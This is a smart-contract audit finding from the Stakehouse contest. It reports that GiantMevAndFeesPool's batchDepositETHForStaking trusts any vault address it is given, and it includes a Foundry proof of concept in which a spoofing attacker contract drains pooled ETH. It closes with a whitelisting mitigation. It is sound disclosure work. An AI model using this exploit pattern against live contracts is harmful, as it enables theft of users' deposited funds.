LSD Network - Stakehouse contest - banky's results

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/23c3cf65975cada7fd2255a141b359a6b31c2f9c/contracts/liquid-staking/GiantMevAndFeesPool.sol#L48

Vulnerability details

Impact

Loss of all user funds in the GiantMevAndFeesPool contract. This occurs because the batchDepositETHForStaking trusts the staking funds vault contract that is passed in is not malicious

Proof of Concept

I've created a PoC using foundry to demonstrate this issue. I created a malicious StakingFundsVault contract which spoofs the liquidStakingNetworkManager with a valid one. The attacker is then able to withdraw all the idle funds in the pool into the attack contract.

contract StakingFundsVaultAttacker {
    ILiquidStakingManager public liquidStakingNetworkManager;

    constructor(address _liquidStakingNetworkManagerAddress) {
        liquidStakingNetworkManager = ILiquidStakingManager(_liquidStakingNetworkManagerAddress);
    }

    function batchDepositETHForStaking(bytes[] calldata _blsPublicKeyOfKnots, uint256[] calldata _amounts) external payable {

    }
}

function testBatchDepositETHForStakingMev() public {
    address mevUser = accountThree; vm.deal(mevUser, 24 ether);

    // Deposit ETH into giant savETH
    vm.prank(mevUser);
    giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether);

    // Deploy ETH from giant LP into savETH pool of LSDN instance
    bytes[][] memory blsKeysForVaults = new bytes[][](1);
    blsKeysForVaults[0] = getBytesArrayFromBytes(blsPubKeyOne);

    uint256[][] memory stakeAmountsForVaults = new uint256[][](1);
    stakeAmountsForVaults[0] = getUint256ArrayFromValues(0);

    StakingFundsVaultAttacker sfvAttacker = new StakingFundsVaultAttacker(address(manager));

    giantFeesAndMevPool.batchDepositETHForStaking(
        getAddressArrayFromValues(address(sfvAttacker)),
        getUint256ArrayFromValues(4 ether),
        blsKeysForVaults,
        stakeAmountsForVaults
    );

    // Attacker contract should not be able to get access to user funds, but this test passes
    assertEq(address(sfvAttacker).balance, 4 ether);
}

Tools Used

• Manual review
• Forge testing

Recommended Mitigation Steps

I found a similar issue with the GiantSavETHVaultPool contract and similarly I would recommend whitelisting the SavETHVault contracts that are called here.